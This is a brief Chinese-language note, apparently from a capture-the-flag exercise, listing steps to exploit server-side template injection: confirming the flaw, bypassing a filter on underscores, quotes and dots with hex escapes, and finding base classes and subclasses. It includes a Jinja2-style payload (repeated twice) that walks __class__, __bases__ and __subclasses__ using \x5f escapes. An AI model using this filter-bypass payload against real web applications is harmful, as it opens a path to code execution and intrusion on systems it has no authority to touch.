1.测试存在ssti
2.获取类型所属的对象,后面显示被过滤了,看了大佬的文章_'.这三个被过滤了,但可以用十六进制绕过
3.寻找基类
4.寻找可用引用
{ {()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
{ {()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}